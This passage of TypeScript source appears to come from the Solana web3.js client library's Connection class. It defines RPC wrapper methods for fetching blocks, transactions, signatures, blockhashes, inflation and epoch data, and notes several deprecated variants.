Promise<RpcResponseAndContext<Array<SignatureStatus | null>>> {\n const params: any[] = [signatures];\n if (config) {\n params.push(config);\n }\n const unsafeRes = await this._rpcRequest('getSignatureStatuses', params);\n const res = create(unsafeRes, GetSignatureStatusesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get signature status');\n }\n return res.result;\n }\n\n /**\n * Fetch the current transaction count of the cluster\n */\n async getTransactionCount(\n commitmentOrConfig?: Commitment | GetTransactionCountConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransactionCount', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get transaction count',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the current total currency supply of the cluster in lamports\n *\n * @deprecated Deprecated since RPC v1.2.8. Please use {@link getSupply} instead.\n */\n async getTotalSupply(commitment?: Commitment): Promise<number> {\n const result = await this.getSupply({\n commitment,\n excludeNonCirculatingAccountsList: true,\n });\n return result.value.total;\n }\n\n /**\n * Fetch the cluster InflationGovernor parameters\n */\n async getInflationGovernor(\n commitment?: Commitment,\n ): Promise<InflationGovernor> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getInflationGovernor', args);\n const res = create(unsafeRes, GetInflationGovernorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation');\n }\n return res.result;\n }\n\n /**\n * Fetch the inflation reward for a list of addresses for an epoch\n */\n async getInflationReward(\n addresses: PublicKey[],\n epoch?: number,\n commitmentOrConfig?: Commitment | GetInflationRewardConfig,\n ): Promise<(InflationReward | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [addresses.map(pubkey => pubkey.toBase58())],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n const unsafeRes = await this._rpcRequest('getInflationReward', args);\n const res = create(unsafeRes, GetInflationRewardResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation reward');\n }\n return res.result;\n }\n\n /**\n * Fetch the specific inflation values for the current epoch\n */\n async getInflationRate(): Promise<InflationRate> {\n const unsafeRes = await this._rpcRequest('getInflationRate', []);\n const res = create(unsafeRes, GetInflationRateRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation rate');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Info parameters\n */\n async getEpochInfo(\n commitmentOrConfig?: Commitment | GetEpochInfoConfig,\n ): Promise<EpochInfo> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getEpochInfo', args);\n const res = create(unsafeRes, GetEpochInfoRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch info');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Schedule parameters\n */\n async getEpochSchedule(): Promise<EpochSchedule> {\n const unsafeRes = await this._rpcRequest('getEpochSchedule', []);\n const res = create(unsafeRes, GetEpochScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch schedule');\n }\n const epochSchedule = res.result;\n return new EpochSchedule(\n epochSchedule.slotsPerEpoch,\n epochSchedule.leaderScheduleSlotOffset,\n epochSchedule.warmup,\n epochSchedule.firstNormalEpoch,\n epochSchedule.firstNormalSlot,\n );\n }\n\n /**\n * Fetch the leader schedule for the current epoch\n * @return {Promise<RpcResponseAndContext<LeaderSchedule>>}\n */\n async getLeaderSchedule(): Promise<LeaderSchedule> {\n const unsafeRes = await this._rpcRequest('getLeaderSchedule', []);\n const res = create(unsafeRes, GetLeaderScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get leader schedule');\n }\n return res.result;\n }\n\n /**\n * Fetch the minimum balance needed to exempt an account of `dataLength`\n * size from rent\n */\n async getMinimumBalanceForRentExemption(\n dataLength: number,\n commitment?: Commitment,\n ): Promise<number> {\n const args = this._buildArgs([dataLength], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getMinimumBalanceForRentExemption',\n args,\n );\n const res = create(unsafeRes, GetMinimumBalanceForRentExemptionRpcResult);\n if ('error' in res) {\n console.warn('Unable to fetch minimum balance for rent exemption');\n return 0;\n }\n return res.result;\n }\n\n /**\n * Fetch a recent blockhash from the cluster, return with context\n * @return {Promise<RpcResponseAndContext<{blockhash: Blockhash, feeCalculator: FeeCalculator}>>}\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhashAndContext(commitment?: Commitment): Promise<\n RpcResponseAndContext<{\n blockhash: Blockhash;\n feeCalculator: FeeCalculator;\n }>\n > {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getRecentBlockhash', args);\n const res = create(unsafeRes, GetRecentBlockhashAndContextRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get recent blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch recent performance samples\n * @return {Promise<Array<PerfSample>>}\n */\n async getRecentPerformanceSamples(\n limit?: number,\n ): Promise<Array<PerfSample>> {\n const unsafeRes = await this._rpcRequest(\n 'getRecentPerformanceSamples',\n limit ? [limit] : [],\n );\n const res = create(unsafeRes, GetRecentPerformanceSamplesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent performance samples',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch the fee calculator for a recent blockhash from the cluster, return with context\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getFeeForMessage} instead.\n */\n async getFeeCalculatorForBlockhash(\n blockhash: Blockhash,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<FeeCalculator | null>> {\n const args = this._buildArgs([blockhash], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getFeeCalculatorForBlockhash',\n args,\n );\n\n const res = create(unsafeRes, GetFeeCalculatorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee calculator');\n }\n const {context, value} = res.result;\n return {\n context,\n value: value !== null ? value.feeCalculator : null,\n };\n }\n\n /**\n * Fetch the fee for a message from the cluster, return with context\n */\n async getFeeForMessage(\n message: VersionedMessage,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<number | null>> {\n const wireMessage = toBuffer(message.serialize()).toString('base64');\n const args = this._buildArgs([wireMessage], commitment);\n const unsafeRes = await this._rpcRequest('getFeeForMessage', args);\n\n const res = create(unsafeRes, jsonRpcResultAndContext(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee for message');\n }\n if (res.result === null) {\n throw new Error('invalid blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of prioritization fees from recent blocks.\n */\n async getRecentPrioritizationFees(\n config?: GetRecentPrioritizationFeesConfig,\n ): Promise<RecentPrioritizationFees[]> {\n const accounts = config?.lockedWritableAccounts?.map(key => key.toBase58());\n const args = accounts?.length ? [accounts] : [];\n const unsafeRes = await this._rpcRequest(\n 'getRecentPrioritizationFees',\n args,\n );\n const res = create(unsafeRes, GetRecentPrioritizationFeesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent prioritization fees',\n );\n }\n return res.result;\n }\n /**\n * Fetch a recent blockhash from the cluster\n * @return {Promise<{blockhash: Blockhash, feeCalculator: FeeCalculator}>}\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhash(\n commitment?: Commitment,\n ): Promise<{blockhash: Blockhash; feeCalculator: FeeCalculator}> {\n try {\n const res = await this.getRecentBlockhashAndContext(commitment);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhash(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n try {\n const res = await this.getLatestBlockhashAndContext(commitmentOrConfig);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhashAndContext(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<RpcResponseAndContext<BlockhashWithExpiryBlockHeight>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getLatestBlockhash', args);\n const res = create(unsafeRes, GetLatestBlockhashRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get latest blockhash');\n }\n return res.result;\n }\n\n /**\n * Returns whether a blockhash is still valid or not\n */\n async isBlockhashValid(\n blockhash: Blockhash,\n rawConfig?: IsBlockhashValidConfig,\n ): Promise<RpcResponseAndContext<boolean>> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgs(\n [blockhash],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('isBlockhashValid', args);\n const res = create(unsafeRes, IsBlockhashValidRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to determine if the blockhash `' + blockhash + '`is valid',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the node version\n */\n async getVersion(): Promise<Version> {\n const unsafeRes = await this._rpcRequest('getVersion', []);\n const res = create(unsafeRes, jsonRpcResult(VersionResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get version');\n }\n return res.result;\n }\n\n /**\n * Fetch the genesis hash\n */\n async getGenesisHash(): Promise<string> {\n const unsafeRes = await this._rpcRequest('getGenesisHash', []);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get genesis hash');\n }\n return res.result;\n }\n\n /**\n * Fetch a processed block from the cluster.\n *\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n async getBlock(\n slot: number,\n rawConfig?: GetBlockConfig,\n ): Promise<BlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<AccountsModeBlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'none'},\n ): Promise<NoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<VersionedBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<VersionedAccountsModeBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<VersionedNoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | VersionedBlockResponse\n | VersionedAccountsModeBlockResponse\n | VersionedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n const {result} = res;\n return result\n ? {\n ...result,\n transactions: result.transactions.map(\n ({transaction, meta, version}) => ({\n meta,\n transaction: {\n ...transaction,\n message: versionedMessageFromResponse(\n version,\n transaction.message,\n ),\n },\n version,\n }),\n ),\n }\n : null;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(\n e as JSONRPCError,\n 'failed to get confirmed block',\n );\n }\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized block\n */\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<ParsedNoneModeBlockResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | ParsedBlockResponse\n | ParsedAccountsModeBlockResponse\n | ParsedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetParsedAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetParsedNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetParsedBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(e as JSONRPCError, 'failed to get block');\n }\n }\n\n /*\n * Returns the current block height of the node\n */\n getBlockHeight = (() => {\n const requestPromises: {[hash: string]: Promise<number>} = {};\n return async (\n commitmentOrConfig?: Commitment | GetBlockHeightConfig,\n ): Promise<number> => {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const requestHash = fastStableStringify(args);\n requestPromises[requestHash] =\n requestPromises[requestHash] ??\n (async () => {\n try {\n const unsafeRes = await this._rpcRequest('getBlockHeight', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block height information',\n );\n }\n return res.result;\n } finally {\n delete requestPromises[requestHash];\n }\n })();\n return await requestPromises[requestHash];\n };\n })();\n\n /*\n * Returns recent block production information from the current or previous epoch\n */\n async getBlockProduction(\n configOrCommitment?: GetBlockProductionConfig | Commitment,\n ): Promise<RpcResponseAndContext<BlockProduction>> {\n let extra: Omit<GetBlockProductionConfig, 'commitment'> | undefined;\n let commitment: Commitment | undefined;\n\n if (typeof configOrCommitment === 'string') {\n commitment = configOrCommitment;\n } else if (configOrCommitment) {\n const {commitment: c, ...rest} = configOrCommitment;\n commitment = c;\n extra = rest;\n }\n\n const args = this._buildArgs([], commitment, 'base64', extra);\n const unsafeRes = await this._rpcRequest('getBlockProduction', args);\n const res = create(unsafeRes, BlockProductionResponseStruct);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block production information',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n *\n * @deprecated Instead, call `getTransaction` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransaction(\n signature: string,\n rawConfig?: GetTransactionConfig,\n ): Promise<TransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig?: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized transaction\n */\n async getParsedTransaction(\n signature: TransactionSignature,\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<ParsedTransactionWithMeta | null> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n */\n async getParsedTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<(ParsedTransactionWithMeta | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link TransactionResponse}.\n *\n * @deprecated Instead, call `getTransactions` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetTransactionConfig | Finality,\n ): Promise<(TransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n });\n\n return res;\n }\n\n /**\n * Fetch a list of Transactions and transaction statuses from the cluster\n * for a confirmed block.\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlock} instead.\n */\n async getConfirmedBlock(\n slot: number,\n commitment?: Finality,\n ): Promise<ConfirmedBlock> {\n const args = this._buildArgsAtLeastConfirmed([slot], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetConfirmedBlockRpcResult);\n\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n\n const block = {\n ...result,\n transactions: result.transactions.map(({transaction, meta}) => {\n const message = new Message(transaction.message);\n return {\n meta,\n transaction: {\n ...transaction,\n message,\n },\n };\n }),\n };\n\n return {\n ...block,\n transactions: block.transactions.map(({transaction, meta}) => {\n return {\n meta,\n transaction: Transaction.populate(\n transaction.message,\n transaction.signatures,\n ),\n };\n }),\n };\n }\n\n /**\n * Fetch confirmed blocks between two slots\n */\n async getBlocks(\n startSlot: number,\n endSlot?: number,\n commitment?: Finality,\n ): Promise<Array<number>> {\n const args = this._buildArgsAtLeastConfirmed(\n endSlot !== undefined ? [startSlot, endSlot] : [startSlot],\n commitment,\n );\n const unsafeRes = await this._rpcRequest('getBlocks', args);\n const res = create(unsafeRes, jsonRpcResult(array(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get blocks');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a block, excluding rewards\n */\n async getBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a confirmed block, excluding rewards\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlockSignatures} instead.\n */\n async getConfirmedBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getTransaction} instead.\n */\n async getConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed([signature], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n const message = new Message(result.transaction.message);\n const signatures = result.transaction.signatures;\n return {\n ...result,\n transaction: Transaction.populate(message, signatures),\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransaction} instead.\n */\n async getParsedConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ParsedConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transaction',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransactions} instead.\n */\n async getParsedConfirmedTransactions(\n signatures: TransactionSignature[],\n commitment?: Finality,\n ): Promise<(ParsedConfirmedTransaction | null)[]> {\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n return {\n methodName: 'getConfirmedTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transactions',\n );\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch a list of all the confirmed signatures for transactions involving an address\n * within a specified slot range. Max range allowed is 10,000 slots.\n *\n * @deprecated Deprecated since RPC v1.3. Please use {@link getConfirmedSignaturesForAddress2} instead.\n *\n * @param address queried address\n * @param startSlot start slot, inclusive\n * @param endSlot end slot, inclusive\n */\n async getConfirmedSignaturesForAddress(\n address: PublicKey,\n startSlot: number,\n endSlot: number,\n ): Promise<Array<TransactionSignature>> {\n let options: any = {};\n\n let firstAvailableBlock = await this.getFirstAvailableBlock();\n while (!('until' in options)) {\n startSlot--;\n if (startSlot <= 0 || startSlot < firstAvailableBlock) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(\n startSlot,\n 'finalized',\n );\n if (block.signatures.length > 0) {\n options.until =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n let highestConfirmedRoot = await this.getSlot('finalized');\n while (!('before' in options)) {\n endSlot++;\n if (endSlot > highestConfirmedRoot) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(endSlot);\n if (block.signatures.length > 0) {\n options.before =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n const confirmedSignatureInfo = await this.getConfirmedSignaturesForAddress2(\n address,\n options,\n );\n return confirmedSignatureInfo.map(info => info.signature);\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getSignaturesForAddress} instead.\n */\n async getConfirmedSignaturesForAddress2(\n address: PublicKey,\n options?: ConfirmedSignaturesForAddress2Options,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest(\n 'getConfirmedSignaturesForAddress2',\n args,\n );\n const res = create(unsafeRes, GetConfirmedSignaturesForAddress2RpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed signatures for address',\n );\n }\n return res.result;\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n *\n * @param address queried address\n * @param options\n */\n async getSignaturesForAddress(\n address: PublicKey,\n options?: SignaturesForAddressOptions,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest('getSignaturesForAddress', args);\n const res = create(unsafeRes, GetSignaturesForAddressRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get signatures for address',\n );\n }\n return res.result;\n }\n\n async getAddressLookupTable(\n accountKey: PublicKey,\n config?: GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AddressLookupTableAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n accountKey,\n config,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = new AddressLookupTableAccount({\n key: accountKey,\n state: AddressLookupTableAccount.deserialize(accountInfo.data),\n });\n }\n\n return {\n context,\n value,\n };\n }\n\n 